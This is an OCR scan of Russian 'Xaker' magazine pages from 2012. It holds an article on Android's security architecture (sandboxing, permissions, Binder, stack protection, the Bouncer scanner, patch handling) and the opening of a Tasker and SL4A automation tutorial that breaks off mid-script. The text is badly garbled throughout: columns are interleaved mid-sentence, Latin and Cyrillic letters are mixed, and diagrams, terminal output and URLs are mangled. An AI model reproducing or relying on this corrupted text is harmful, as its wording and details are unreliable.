Andгoid. Это касалось всех комnонентов си­ грязной работы за него. На Linux ложатся !nозже мы еще вернемся к этому!.
стемы, но основной удар эксnертов обрушил­ такие заботы, как соблюдение прав достуnа, Кроме данных отдельно взятых приложений,
ся на реализацию механизма разграничения слежение за nроцессами и их корректн ым для достуnа закрыта также базовая инсталля­
прав, который якобы ограничивал прило­ выполнением. На деле это значит, что ни одно ция Andгoid, размещаемая на отдельном раз­
жения друг от друга, но имел брешь в самой приложение Andгoid не может получить доступ деле внутренней NАND-памяти и подключенная
своей основе. к данным другого приложения, nока nоследнее к каталогу /system. По умолчанию она смонтиро­
В пример обычно nриводились nриложения, этого не захочет. вана в режиме только для чтения и, в принципе,
использующие зксплойты ядра Linux, которые Реализуется это nростым и превосходным не хранит в себе никакой конфиденциальной
позволяли получить nрава гооt, а затем сделать методом: через соблюдение nрав достуnа. информации !для ее размещения также исполь­
с системой все, что захочет злоумышленник. В Andгoid каждое nриложение - это отдель­ зуются песочницы в /datal, поэтому каки м-то
Этих нескольких найденных уязвимастей ный nользователь со своими nрава ми доступа хитрым образом прописаться в автозагрузку
хватило, чтобы создать в желтой прессе шумиху, и полномочиями. Каждое приложение в такой или модифицировать системные компоненты
которая не улеглась и по сей день. системе nолучает свой собствен ный идентифи­ не получится !если, конечно, не использовать
· Но как же обстоят дела на самом деле? катор nользователя IUIDI и собственный каталог эксплойты для получения прав гооt, о чем я под­
Проблема существует или нет? Стоит ли внутри каталога /data, так что все его данные робнее расскажу ниже!.
бояться юзерам Andгoid за сохранность своих защищаются с помощью простых nрав достуnа, Для общения приложениям доступно не­
данных или перейти на iOS и как, если зто которые разрешают самому приложению читать сколько вариантов IPC, причем родные для

ХАКЕР 11 /166/2012
Оборона в особых условиях

Linux средства коммуникации, такие как раз­ и ESSIV:SHA256 с nомощью ключа, генериру­ ложения, многие ознакомляются с ним и, если
деляемая nамять и сокеты, достуnны только емого на основе пароля, который необходимо обнаруживают какие-то несоответствия [на­
nроцессам, nринадлежащим одному nриложе­ ввести во время загрузки ОС. При зто м стоит nример, когда игра заnрашивает возможность
нию, да и то лишь в том случае, если хотя бы учитывать, что карта памяти не шифруется, отправки SMS или достуn к адресной книге!,
часть nриложения наnисана на комnилируемом позтому сохраненные на ней данные остаются рассказывают об зтом в отзывах и ставят одну

нием Andгoid NDK. Во всех остальных случаях


в машинный код языке, то есть с исnользова­ полностью открытыми. звезду. В результате nриложение очень быстро
получает низкий суммарный рейтинг и большое
nриложения смогут исnользовать Bindeг для ПРИЛОЖЕНИ Я И ПРАВА ДОС Т УПА количество негативных комментариев.
безопасного обмена сообщениями и интенты Наряду с nесочницей, одним из основных меха­ Также хочется заметить, что все возможные
для вызова сторонних nриложений [о них мы низмов системы безопасности Andгoid являются привилегни достаточно четко и логично раз­
также nоговорим ниже!. права доступа nриложений к функциям системы делены, благодаря чему злоупотребления при­
Интересно, что в Andгoid, начиная с версии Andгoid [привилегииl, которые позволяют вилегиями nрактически не бывает. Наnример,
2.2, есть nонятие администратора устройства, контролировать, какие именно возможности ОС nриложение может потребовать возможность

мают пользователи UNIXи Windows. Это nросто


но значит оно совсем не то, что nод ним nони­ будут достуnны приложению. Это могут быть как читать SMS, но не отnравлять их или nолучать
функции работы с камерой или доступ к файлам уведомления о nришедшем сообщении. Фак­
API, с nомощью которого приложение может из­ на карте nамяти, так и возможность использова­ тически единственный серьезный недостаток
менять nолитику безоnасности nаролей, а также ния функциональности, которая может привести системы nривилегий был найден только в том,
заnрашивать необходимость в шифровании к утечке информации со смартфона (достуn что инженеры Google вообще не nредусмотрел"­
хранилища данных и nроизводить удаленный в Сеть! либо к трате средств пользователя со никаких ограничений на чтение карты nамяти
вайn смартфона. Это своего рода костыль, счета мобильного оnератора [отnравка SMS [запись тем не менее ограничена!, nосчитав
который был nридуман в ответ на заnросы и совершение звонков!. зто бессмысленным для съемных накоnителей.
корnоративных пользователей Andгoid, которые У Andгoid есть замечательная особен­ В свое время зта «брешь>> привела к возможнос­
хотели nолучить больший контроль над без­ ность: абсолютно любое приложен ие обязано ти nолучения координат смартфона, выуженных
оnасностью данных на смартфонах сотрудников. содержать в себе информацию о том, какие из кеша стандартного nриложения «Галерея>>,
Фактически зтим API может восnользоваться именно из функций Andгoid оно может ис­ который хранился на карте памяти. Что, в свою
любое nриложение, но для этого nользователь nользовать. Эта информация заключена в очередь, вынудило Google добавить в настройки
должен явно nодтвердить свое намерение файле AndгoidManifest.xml внутри АРК-файла последних версий Andгoid оnцию, после акти­
nредоставить nриложению такие nолномочия. и извлекается инсталлятором nеред установкой вации которой система будет явно сnрашивать
Также в nоследних версиях Andгoid nоявилась nриложения для того, чтобы nользователь смог nользователя о возможности достуnа какого­
возможность загрузки устройства в безоnасном ознакомиться с тем, к какой функционально­ либо приложения к 50-карте.
режиме, когда nользователь получает достуn сти смартфона приложение сможет nолучить Еще одна важная особенность такой систе­
только к предустановленным nриложениям. Она доступ. При этом пользователь должен в обя­ мы заключается в том, что nользовательские
может nо надобиться в случае компрометации зательном порядке согласиться с этим списком настройки всегда будут nриоритетнее запросов
устройства сторонним приложением. перед установкой nриложения. nриложений, а зто значит, что, если пользо­
Начиная с версии 3.0, Aпdгoid имеет встро­ Н а заре становления Andгoid такой nодход ватель отключит GPS, nриложение никак не
енную nоддержку шифрования всех nользо­ был раскритикован как слишком наивный, сможет включить его самостоятельно даже nри
вательских данных с nомощью стандартной однако, как nоказало время, его эффективность наличии всех прав на исnользование GPS. При
nодсистемы dmcгypt ядра Linux. Шифрование nолучилась чрезвычайно высокой. Несмотря зто м некоторые функции ОС недоступны для
nроизводится в отношении того самого ката­ на то что большинство пользователей игнори­ nриложений вовсе. Наnример, манипулировать
лога /data алгоритмом AES128 в режиме СВС рует список привилегий перед установкой при- 51 М-картой имеет nраво только оnерационная
система, и н икто, кроме нее.
Проверка привилегий идет на самом низком
Прмnо•tнмt уровне ОС, в том числе на уровне ядра Linux, так

( SMS/MMS ) ��� ( ] 6yAMitloiiMII


что для обхода этой системы безопасности злов­
реду придется не только получить права гооt на

(EINIII·м мт] (
... )( ) �
KMtll,l,lpto MtAМII·Meep
устройстве, но и каким-то образом скомnромети­
ровать ядро, что гораздо более сложная задача.
Фреiм•орк nрмnо•енмi
,---
CltCtiMI ----. m
Мем••••роком JII:PIIIOI Как уже было сказано выше, приложения могут
обмениваться информацией, исnользуя стан­
Мем••••Р
е•чесо• дартные для Andгoid средства коммуникации
Bindeг, интенты [lntentsl и nровайдеры данных
п ,._.. [Content Pгovideгl. Первый nредставляет собой
...�
1 1
Surfact
SOLht
механизм удаленного вызова nроцедур [RPCI,
Maмgtr Frtmtwork
реализованный на уровне ядра Linux, но контро­

1 1 лируемый системным сервисом Seгvice Manageг.


OptnGLES
FrttTypt LlbWtbCort

С точки зрения программнога интерфейса


SGL SSL
1 1 Lllк Bindeг является всего лишь средством импорта
объектов из другого приложения. но с точки
зрения безопасности полностью контролирует­
ся обсуждаемым выше механизмом разграни­
чения прав доступа. Это знач ит, что nриложения
смогут получить доступ друг к другутолько в том
случае, если оба этого захотят. Это особенно
важно в свете того, что в Andгoid Bindeг явля­
Архмтоктура Android ется основным средством коммуникации, на

ХАКЕР 1 1 /166/2012 055


X-MOBILE

целыми числами (защита от integeг oveгflow).


Из OpenBSD была nозаимствована реализация
функции dmalloc, позволяющая предотвратить
атаки с исnользованием двойного освобожде­
ния nамяти и атаки согласованности чан ков, а
также функция calloc с проверкой на возмож­
ность целочисленного переполнения во время
оnерации выделения памяти. Весь низкоу­
ровневый кoдAndгoid, начиная с версии 1.5,
собирается с задействованием механизма
компилятора GCC PгoPolice для защиты от срыва
стека на этапе компиляции.
В версии 2.3 в коде были устра нены все
возможные уязвимости манипуляции со
строками, выявленные с помощью сборки ис­
ходных текстов с флагами '-Wfoгmat-secuгity',
'-Werroг=foгmat-secuгity', а также применены
<<железные>> механизмы защиты от срыва
стека (бит No eXecute (NX), доступный начиная
с ARMv6). Также Andгoid 2.3 задействует метод
защиты от уязвимости, найденной в ноябре
2009 года во всех ядрах Linux 2.6 (возможность
разыменования NULL-указателя), с помощью
заnиси отличного от нуля значения в файл /ргос/
sys/vm/mmap_miп_addг. Такой метод защиты
позволил устранить уязвимость без необхо­
димости в обновлении самого ядра Liпux, что
Увидеть, какому UID nринадлежит прмnожение, Ознакомиться со сnиском полномочий nриложеимя
можно с помощью любого менеджера задач можно и после его установки невозможно на многих устройствах.
Начиная с версии 4.0, Google внедрила
в Aпdгoid технологию Addгess space layout
основе которого построен графический интер­ из них, выбранному пользователем). То, какие гaпdomization (ASLR), которая nозволяет рас­
фейс, а также другие компоненты ОС, доступные типы интентов может принимать и обрабатывать положить в адресном пространстве процесса
программисту. Доступ к н и м огранич ивается nриложение, о пределяет программист во время образ исnолняемого файла, подгружаемых
с помощью обсуждаемого выше механизма сборки nриложения. Кроме того, он может ис­ библиотек, кучи и стека случа йным образом.
привилегий. Как системные компоненты, так пользовать филырацию по содержимому URI, Благодаря этому эксплуатация многих типов
и сторонние приложения могут ограничивать чтобы избежать «сnама>>. атак существенно усложняется, поскольку ата­
доступ к своей функциональности с помощью Сами no себе nеречисленные механизмы об­ кующему приходится угадывать адреса перехо­
декларации прав на доступ к своим функци- мена данными и вызова функций nриложений, да для успешного выnолнения атаки. В допол­
ям. В случае системных компонентов все они контролируемые с помощью системы привиле­ нение, начиная с версии 4.1, Andгoid собирается
описаны в документации для программистов гий, в Andгoid реализованы достаточно четко с исnользованием механизма RELRO (Read-only
Аndгоid-приложений. Независимые разработчи­ и ясно, однако они могут nривести к проблема м гelocatioпsl, который позволяет защитить
ки, которые хотят открыть API к своим прило­ в том случае, если nрограммист недостаточно системные компоненты от атак, основанных
жениям, должны описать требуемые для зто го серьезно относится к декларации привилегий, на nерезаписи секций загруженного в память
nривилегии в AndгoidManifest.xml и оnублико­ необходимых для достуnа к своему приложению. ЕLF-файла. В той же версии 4.1 была впервые
вать соответствующую документацию. Все зто Это может привести к утечкам информации или активирована функция ядра dmesg_restгict
относится также к провайдерам данных (Content возможности задействования функционально­ 1/р гос/s уs/kегпе 1/d mеsg_ геs tгic tl, поя в и в ша яс я
Pгovideг), специальному интерфейсу (также сти nриложения кем угодно. Наnример, в первых в ядре 2.6.37 и позволяющая отключить возмож­
реализованному п о верх Bindeг), с помощью версиях DгорЬох для Andгoid имелась проблема ность чтения системного журнала ядра (dmesgl
которого приложения могут открывать достуn с nравильным оnределением nривилегий, кото­ непривилегированными nользователями.
к своим данным другим приложениям. В Andгoid рая nриводила к тому, что любое установленное
провайдеры данных везде, зто и адресная кни­ nриложение могло использовать DгорЬох­ РЕПОЗИТОРИ Й ПРИЛОЖЕНИ Й
га, и плей-листы, и хранилище настроек. Достуn клиент для заливки какой угодно информации Реnазитарий приложений Google Play (в девиче­
к н и м опять же ограничивается с nомощью меха­ на <<облачный диск>> (www secuгel!st.com/en/ стве Andгoid Maгket) всегда был самым слабым
низма nривилегий и nрав доступа. adylsoгies/45572). местом Andгoid. Несмотря на то что механизм,
Поверх Bindeг также реализована так назы­ требующий от nриложений обязательного ука­
ваемая технология интентов, nростых широко­ ЗА Щ ИТА ОТ СРЫВА С ТЕКА зания списка своих привилегий перед установ­
вещательных сообщений. Приложения могут по­ Для защиты nриложений, созданных с ис­ кой, изначально работал правильно и позволял
сылать их <<В систему» с целью вызова внешних пользованием Andгoid NDK, а также системных создать зкосистему, в которой nользователи
nриложений для совершения какого-либо дей­ комnонентов, наnисанных на языке Си, Andгoid сами бы могли предупреждать друг друга о
ствия. Наnример, nриложение может исnоль­ включает в себя обширный набор механизмов возможном зловредном поведении программы,
зовать интенты для вызова почтового клиента защиты от срыва стека, в свое время реализо­ опубликованной в репазитори и, пользователи
с указанием адреса, открытия веб-страницы, ванных самыми разными разработчиками для то и дело заражали свои смартфоны вирусами.
каталога в файловой системе и всего, что может различных проектов. В Andгoid 1 . 5 системные Основная проблема здесь заключалась
быть записано в виде URI. Система автома­ компоненты были переведены на использо­ в том, что приложение и его автор не nодверга­
тически находит все nриложения, сnособные вание библиотеки safe-iop lcode.google.com/p/ лись каким-либо серьезным проверкам перед
nринимать данный тип интентов (а точнее, URI­ �). реализующей функции безопасного публикацией пакета в репозиторий. Фактически
aдpecoв), и передает URI им (а точнее, одному выполнения арифметических операций над все, что нужно было сделать, - зто наnисать

056 ХАКЕР 1 1 /166/2012


Оборона в особых условиях

Если уязвимость будет обнаружена, команда


Процесс А Процесс Б безоnасности начинает следующий nроцесс:
1 . Уведомляет комnании, входящие в альянс
Приложение А Контекст Драйвер Binder Сервис Б
OHA IOpen Hand5etAIIiancel, и начинает об­

1 1
Получение суждение вариантов решения nроблемы.

1
доступа к се рвисш.
у
2. Кактолько решение будет найдено, в код

1 1
Адрес сервиса 1 вносятся исnравления.
3- - - - - - - - - - Вызов функции
1 1 3. Патч, содержащий решение nроблемы, на­
1 1
объекта Марш ал ин г
nравляется членам ОНА.
llrol объекта
1
1
4. Патч вносится в реnоэиторий Andгoid О реп
1

1 1
1 Souгce Pгoject.

= 1
Трансляция
в nоток IPC 5. Производители/оnераторы начинаютоб­
новление своих устройств в режиме ОТА или

=
1 1 nубликуют исnравленную версию nрошивки
1 на своих сайтах.
1
1
Возврат вызова 1

1 1
1 Особенно важным в этой цеnочке является
то, что обсуждение проблемы будет nроис­
ходить только с теми членами ОНА, которые
nодnисали соглашение о нераэглашении. Это
Прмнцмп работы Blnder дает гарантию, что общественность узнает
о найденной проблеме только nосле того, как
программу, создать эккаунт в Google Play, вания команды разработчиков на nоявление она уже будет решена комnаниями и фикс nо­
внести членский взнос и оnубликовать nри­ новых уяэвимостей. Когда-то программисты явится в репоэитории AOSP. Если же об уяз­
ложение. Все это мог сделать абсолютно любой OpenBSD показали, что это один из наиболее вимости станет известно из общедостуnных
человек, выложив в Маркет любой код, что и важных асnектов разработки безоnасной ОС, источников lфорума, например!, команда
было многократно nродемонстрировано в раз­ и Google следует их nримеру достаточно четко. безоnасности сразу nристуnит к решению
личных исследованиях безоnасности Andгoid. В Google на nостоянной основе работает nроблемы в реnазитори и AOSP, так чтобы
Чтобы хотя бы частично решить эту nробле­ команда безоnасности Andгoid IAndгoid Secuгity достуn к исnравлению nолучили сразу все и
му, не nрибегая к ручной nроверке nриложений Teaml, задача которой закл ючается в том, чтобы как можно скорее.
на безоnасность, как сделано в Apple Арр Stoгe, следить за качеством кода операционной систе­ Слабым местом остаются производители
Google в начале этого года ввела в строй сервис мы, выявлять и исnравлять найденные в ходе устройств и оnераторы связи, которые могут
Bounceг, nредставляющий собой виртуальную разработки новой версии ОС ошибки, реагиро­ затянуть с nубликацией исправленной версии,
машину, в которой автоматически заnускается вать на отчеты об ошибках, приелэнные nользо­ несмотря на ранний достуn к исnравлению.

I:J§I:IeJil lj
любое nубликуемое в репоэитории nриложение. вателями и секьюрити-комnаниями. В целом эта
Bounceг выnолняет многократный заnуск софти­ команда работает в трех направлениях:
ны, nроизводит множество действий, симули­ Анализ новых серьезных нововведений ОС Как и любая другая оnерационная система,
рующих работу nользователя с nриложением, на безоnасность. Любое архитектурное из­ Andгoid н е лишена уязвимастей и различных
и анализирует состояние системы до и nосле менение Andгoid должно быть в обязательном архитектурных доnущений, уnрощающих
запуска с целью выяснить, не было ли nопыток nорядке одобрено этими ребятами. жизнь вирусоnисателей. Но говорить о том,
достуnа к nриватной информации, отnравки Тестирование разрабатываемого кода, в ко­ что Andгoid уязвима по оnределению, также
SMS на короткие nлатные номера и так далее. тором nринимаютучастие Google lnfoгmation не стоит. В ней явно nрослеживается влияние
По словам Google, Bounceг nозволил со­ Secuгity Engineeгing team и неэависимые nоследних тенденций в разработке безоnас­
кратить количество вредоносов сразу nосле консультанты. Идет nостоянно на nротяжении ных оnерационных систем. Это и nесочницы
заnуска сервиса на 40%. Однако, как nоказали всего цикла nодгото вки нового релиэа ОС. для nриложений, и четко контролируе-
дальнейшие исследования, его можно было Реагирование на обнаружение уязвимости мый системой механизм обмена данными
легко обойти: nроанализировать некоторые ха­ в уже выnущенной ОС. Включает е себя nо­ между nриложениями, и наработки nроекта
рактеристики системы le-mail-aдpec владельца стоя нный мониторинг возможных источников OpenBSD - единственной ОС общего на­
«смартфона», версию ОС и так далее! и затем информации о найденной уязвимости, а также значения, разработка которой всегда велась
создать nриложение, которое nри их обнару­ nоддержку стандартного баг-трекера. с упором на безопасность. :х:
жении не будет вызывать подозрений, а nосле
nоnадания на настоящий смартфон делать всю
грязную работу. shelllandгold:/ S ld
uld•21101Hshel l ) gld•21108(she l l ) �11Ц)11•11103(grophlcsl , \1104( tnputl ,\1107( l og l . 11109(oou
Скорее всего, Google уже разработала схему ntl, \В!)(-) . IBI5( sdcord_rwl , \В28(odcord_rl . ЭIIOI (net_bt_ad8ln) , ЭII02( not_btl , ЭIIОЗ( ln
nротиводействия обнаружению Bounceг с по­ et) , Э8Вб( net_ь-._5t�t5)
shelllandгo l d : / S cd /dato/
мощью генерации уникальных виртуальных shellDandгold:/data $ l s
окружений для каждого нового nриложения, но opendlr felled, Per•tsslon denJed

так или иначе вирусы будут nродолжать nрони­


кать в Google Play, и стоит быть внимательным Припожениям вход в катаnог с частной информацией других nриnожениМ эакрыт
nри установке nриложений, обязательно читая u8_o28 б\5 125 4)9796 38588 ffffffff еееееоое S C08. goog t e.ar'O'"old. II"'()Ut8ethod . latln
отзывы nользователей и анализируя сnисок гadto 633 125 582356 51116 ffffffff 110110110110 5 C08.andrOld.phone
nfc 643 125 4бб888 38112 fffffflf 110110110110 5 c08.androld.nfc
nолномочий nриложения перед его установкой. u8_a29 668 \25 512512 89868 ffffffff 110110110110 5 c08 . androld . lacnct...r
ue_all 739 125 516888 48448 ffffffff еееевеее S COII . google . process . gapps
ue_at42 1282 125 461408 38348 ffffffff 110110110110 5 C<>O.hЬ.settlngs
РЕВЬЮ КОДА И О БНОВЛЕНИЯ Ыuetooth 4014 1 896 3'/б ffffffff 110110110110 5 /syst.. /Ыn/ьrc._patchr<��_plus
Последнее, но не менее важное, о чем хотелось root 4045 2 0 0 ffffffff 110110110110 5 hcl0
Ыuetooth 4058 1 2252 \396 ffffffff 110110110110 5 /syst../Ыn/Ыuetoothd
бы сказать, говоря о системе безоnасности
Andгoid , - это ре вью кода и nроцесс реагиро- В выводе ps xopowo видно, что все nрмnо*енмя с nравамм разных nоnьэоватеnеМ

ХАКЕР 1 1 /166/2012 057


X-MOBILE Роман Гоцмй lgotsijromanragmail.coml

О& АВТОМАТИЗАЦИ И И СКРИ ПТИ Н Г Е ДЛЯ AN DROID


Приложение зто платное и стоит 3,49 фунта стерлингов !при­
П р и вет, читате л ь. Н е знаю , как ты, а я ну
мерно пять долларов!, но прежде чем покупать, можно ознако­
о ч е н ь л е н и в ы й . И я не л ю бл ю вновь и в н о в ь миться с программой, скачав tгiаl-версию на семь дней с сайта
повторять какие-то станда ртн ые де йствия, разработчика taskeг dшgl1scb пеt. Недели будет вполне достаточно:
нап ример, лично я без сомнений купил программу всего через два
если можно нап исать с к р и пт. В A п d roid дня использования и уверен, что ты поступишь так же. Кстати,
для этого можно испол ьзовать визуа л ьны й учти, что версия с Google Play не имеет функции шифрования из-за
ограничений законов США.
и н струмент а втоматиза ц и и Ta sker и среду
испол нения скрип тов SL4A , кото рые , ра бот ая О СН ОВНЫЕ П О НЯТИЯ
Итак, рассмотрим интерфейс и основные понятия програм-
в па ре, позволяют сделать с м а ртфон по­ мы. Для начала сменим язык приложения на русский !Меню .....
настоящему у м н ы м дева й сом. Ргеfегепсеs ..... Laпguagel iэтo делать не обязательно, если
основным языком системы выбран русский. - Прим. ред.J. Теперь

iftiёiti:l9
вернемся на главный экран. Он поделен на три раздела: «Pгofiles»,
«Tasks» и «Sceпes» iскриншот 1 1 .
Taskeг представляет собой небольшое, но очень мощное при­ В разделе «Pгofiles•• отображаются, к а к понятно и з его н а ­
ложение для автоматизации устройств под управлением Aпdгoid. звания, пользовательские профил и. Профиль - это один или
Принцип его действия основан на выполнении определенных несколько контекстов и привязанная к н и м задача, где контекст ­
задач в момент возникновения событий, так или иначе меняющих зто некоторое условие, такое как, например, переворот телефона
состояние смартфона. Я знаю, что звучит зто не особо впечатля­ экраном вниз, включение GPS или проседание заряда батареи до
юще, однако в умелых руках Taskeг позволяет творить настоящие определенного уровня. Если все контексты профиля становятся
чудеса. Для затравки при веду несколько примеров. активными, то активизируется сам профиль и начинает выпол­
Что ты обычно делаешь при включении громкой связи? Пра­ няться начальная задача профиля. Если хоть один из контекстов
вильно, кладешь телефон на стол. А что. если громкая связь вклю­ профиля становится неактивен, профиль дезактивируется и в ы ­
чится сама, когда ты положишь телефон экраном вниз во время полняется конечная задача.
разговора? Удобно? Так вот, Taskeг позволяет реализовать такое Например, для профиля с одним контекстом <<Телефон лежит
поведение буквально за минуту. Также можно настроить автомати­ экраном вниз•• начальная задача выполнится после того, как
ческий запуск плеера при подключении наушников, автоматиче­ устройство при обретет нужную позицию !то есть экраном вниз!,
скую отправку SMS, когда доезжаешь до дома, или переключение а конечная - когда оно покинет эту позицию. Задача- зто одно
музыки в плеере встряхиванием телефона. С помощью Taskeг все или целая цепочка действий, где действие - зто какая-то эле­
зто достижимо в несколько тапов по экрану. ментарная операция. Разработчики предоставили нам очень много

058 ХАКЕР 11 /166/2012


С а м ы й у м н ы й с мартфон

Select State Category


-�- ��

Sensor lE Tasker
Апnаратура D Зарядка r
2

Перемен. � Плагин
5 2
11

Прилож. -� Сеть /
1 о

Телефон \.. Экран �


5

Скринwот 1 : главное окно Tasker Скринwот 2: тиnы контекстов Скринwот 3: разделы контекста нСостояние••

действий, начиная от вы вода сообщений на экран и заканчивая в следующем примере. Сейчас же нас интересует пункт «Состоя­
файловыми операциями. Наличие и их последовательность в ние>>. Этоттип контекста активен, когда устройство пребывает в
задаче определяем мы. Действия можно поделить на настройки конкретном состоянии, например в режиме полета, при активном
и собственно действия. Настройки отличаются от действий тем, подключении к Wi-Fi-ceти или же в положении экраном вниз, что
что они возобновляют прежнее состояние после дезактивации и надодля нашей задачи lда-да, я еще помню о ней :11.
контекста. Например, звонок по определенному номеру является
действием, а включение громкой связи - настройкой. В приложе­ Выбираем пункт «Состояние•• и видим несколько категорий
нии и х можно отличить по пиктограм м е: молния - зто действие, lскриншот 31. Нам нужна категория «Sensoг>>, а в ней nункт •Ориен­
шестеренка - настройка. тация••. Далее в выпадающем сnиске нужно выбрать необходимую
ориентацию устройства. В нашем случае следует выбрать «Экраном
СОЗДАЕ М ПРО Ф ИЛЬ вниз>> и нажать на зеленую галочку. Выскочит меню выбора задачи
Вооружившись знаниями, попробуем создать наш первый про­ для заданного контекста. Так как задач у нас пока нет, нажимаем
филь: автоматическое включение громкой связи в том случае, «Новая задача>>. Вводим название задачи [можно не вводить, но реко­
если телефон переворачивают экраном вниз. Для создания нового мендую! и попадаем в меню редактирования задачи.
профиля нажимаем кнопку «+» внизу по центру экрана. Появится
окошко с приглашением к вводу имени профиля. Имя указывать СОЗДАНИЕ ЗАДАЧ
не обязательно, но рекомендуется, дабы в будущем не запутаться Как я уже говорил, задачи - это последовательности действий.
среди профилей lя ввел «Громкая связь••!. Далее ты увидишь меню Чтобы добавить к задаче действие, следует нажать кнопку «ПЛЮС>>
выбора типа первого контекста lскриншот 21. Рассмотрим все типы lскриншот 41. Все действия разбиты на несколько категорий,
подробнее: названия которых говорят сами эа себя. Для цели, поставленной
Приnожение. Этоттип контекста активен тогда. когда запущено нами, нужно выбрать пункт «Аудио>>, затем выбрать настройку
некоторое приложение, и дезактивируется, если приложение за­ «Громкая связь•• и в выnадающем списке - • Включить>>. Галочка
крыть. После выбора этого пункта загружается список установ­ «Если•• позволяет навесить дополнительные условия на кон­
ленных приложений, из которых можно выбрать как одно, так и кретную задачу !если интересно, nодробнее тут: goo.gl/cdHXh l .
несколько. Нажимаем зеленую галочку- действие добавлено к задаче.
Время. Эдесь можно выбрать время активности контекста, тогда Можно добавить еще несколько действий, но в нашем случае это
контекст будет активен в течение выбранного промежутка вре­ не требуется, так что еще раз нажимаем зеленую галочку, и только
мени. Также можно установить повторение, тогда контекст будет что созданная задача становится начальной задачей профиля. Так
активизироваться на короткий про межуток, повторяясь через как громкая связь является настройкой, то после дезактивации
указанное время. контекста она будет отключена.
День. Можно выбратьдень месяца или недели, когда контекст Теперь наш nервый профиль готов, но пока еще малоэффекти­
активен. Тут все просто. вен; постоянная nроверка nоложения смартфона быстро « выест••
Место. Очень полезный и интересный контекст, активизируется батарею. Чтобы обойти эту проблему, добавим к профилю еще один
тогда. когда устройство оказывается в н е коем радиусе атуказан­ контекст: долгое нажатие на уже существующем контексте, «Доба­
ной точки на карте !см. соответствующую врезку!. вить _, Состояние _, Телефон>>. Выбираем контекст «Call>>, который
Состояние и событие. События и их особенности мы рассмотрим активен во время звонка. В выпадающем меню можно выбрать тип

ХАКЕР 11 /166/2012 059


X-MOBILE

звонка, выбираем «Any», конкретный номер не указываем. Теnерь,


когда в nрофиле два контекста, Taskeг выnолняет их nроверку в nо­
рядке увеличения энергоемкости, то есть сначала будет nроверен
<<Call>> и, если он неактивен, nроверка остановится, что сохранит
нам батарею. Профиль готов! Можешь nроверить. Позвони, а затем
nоложи телефон экраном вниз, и вуаля - громкая связь включи­
лась, теnерь nодними - выключилась. Захватывающе, nравда?

��� нм
этом nримере я обещал рассказать об особенностях контекста
<<Событие>>. Контекст <<Событие>> активизируется только на корот­
кий nромежуток времени, запуская nривязанную задачу, и сразу
дезактивируется. Поэт9му в nрофиле может быть только один кон­
текст такого тиnа и у nрофиля с событием не может быть конечной
задачи. Также для nрофилей с событием настройки не возобновля­
ют своего значения.
Пристуnим к реализации нашего nрофиля. Добавляем новый
профиль !не забываем дать ему имя! и выбираем для него контекст
<<Событие>>. Выбираем категорию событий <<Sensor>>, а затем
<<Shake». Выставляем нужные нам значения осей, чувствитель­
ности и n родолжительности. Для этого nрофиля нам нужно создать
новую задачу- создаем! В окне редактирования задачи нажима­
ем nлюс; нам нужна категория <<Медиа>> и действие <<Ynp. Медиа­
плеером>>. Выбираем нужную команду управления и заканчиваем
создание задачи. Добавим еще один контекст к nрофилю !на этот
раз это контекст <<Приложение>>l и выберем из сnиска наш nлеер.
Теперь опрос сенсора будет происходить только при включенном
Скрмнwот ': :�кран создания задачи
плеере. Все, данный профиль готов, можешь nроверить.

SCRIPТING LEVEL FOR AN DROIO Для примера напишем несколько nростых скриптов. Можно де­
Я оnисал основные фичи Taskeг, но далеко не все. В Taskeг встрое­ лать это прямо на устройстве, но можно писать и на обычном ком­
ны средства создания и анализа nеременных, можно реализовать пе, а nотом скидывать код в каталог SL4A/Scгipts на карте памяти.
условные операторы, циклы и даже создавать Ul для запроса Для создания нового скрипта запускаем SL4д, вызываем меню и
данных от nользователя !именно для этого и nредназначены нажимаем <<Add>>, в появившемся списке выбираем <<Python>>. Попа­
«Scenes»l. Но и зто еще не все, возможности можно расши рить, ис­ даем в окно создания скриnта. В верхнее поле вводим имя, внизу у
nользуя в качестве действий с криnты, созданные с помощью SL4д. нас уже написано две строчки кода:
SL4д IScгipting Level fог Andгoidl - это среда исnолнения lи соз­
дания! скриптое для Andгoid на языках Python, JavaScгipt, Регl, import aпdroid
Ruby, Lua, BeanShell и Tcl. В скриnтах может быть исnользован API droid = aпdroid. Aпdroid ( )
Andгoid через специальную обвязку вокруг стандартного JSON RPC
nлатформы Andгoid, благодаря чему из скриптое можно вызывать Этот код и м портирует библиотеку для работы с API и создает
функции телефонии, отnравлять SMS, nолучать данные с GPS, объект, с помощью которого API будет нам доступен. Разобрать все
камеры и акселерометров, формировать GUI. Скриптовым языком функции API в одной статье нереально, nоэтому будем рассма­
де-факта для этой nлатформы считается Python, и мы возьмем на тривать необходимые нам функции в nроцесс е создания скриптое
вооружение именно его. !описание API есть во встроенной справке SL4д или здесь:_g_Q.Q.
Для начала работы необходимо скачать и установить SL4A �1. Сначала рассмотрим функцию makeToast, выводящую
lgoo.gl/u G6X4 1 и Python lgoo.gi/8 1PwYI. После установки Python за­ уведомление. Дописываем две строки к коду:
nускаем его и нажимаем на кноnку <<lnstall>>, чтобы скачались все
необходимые библиотеки для работы на Andгoid. # Выводим уведомление и сообщение в консоль
droid . makeToast( "Hello world! " )
priпt ( "Hi from Python" )

Далее сохраняем с крипт и запускаем его, тапнув по его имени.


ОСОБЕННОСТИ КОНТЕКСТА «М Е СТО» Появится меню, nоказанное на скриншоте 5. Первый пункт означа­
ет заnуск скрипта с консолью, второй - в фоновом режиме.

Контекст <<Место>>, как уже упоминалось, активизируется, когда


с мартфон находится в некотором радиусе от указанной на карте
t,Щ•I=ii!§!l:tm lllli
Теперь заскриптим что-н ибудь поинтересней. Давай научим
точки. Можно выбрать, использовать ли GPS или же данные от сети, смартфон анализировать входящее SМS-сообщение на наличие
а также нужный радиус, значение которого можно указать от 30 ме­ некоторых команд, выnолнять их и давать ответ о выполнении
тров до 999 километров. Для относительно большого радиуса в операции. Для примера пусть у нас будет одна команда play music,
пределах города, где точность данных из сети достаточно высока, после получения которой будет проигран оnределенный медиа­
лучше не исnользовать GPS, который жрет батарею совсем не по­ файл.
детски. Также запомни, что если точность определения положения
больше, чем радиус срабатывания, то контекст не активизируется. import android
droid = an droid .Android ( }

060 ХАКЕР 1 1 /166/2012


С а м ы й у м н ы й с ма ртфон

# П ол учае м список всех сообщений -


msgs • droid. smsGetMessages ( False) . resul t • Количество кон­

# Нас интересует последнее полученное сообщение текстов м действий


Tasker можно
lastmessage = msgs[e) существенно рас­
# Ищем команду в тексте сообщения wмрмть, мспоnьэу•
if "play music" iп lastmessage[ ' body ' ) : nnarмнw. Найти их
ноJКно, вбив в поис­
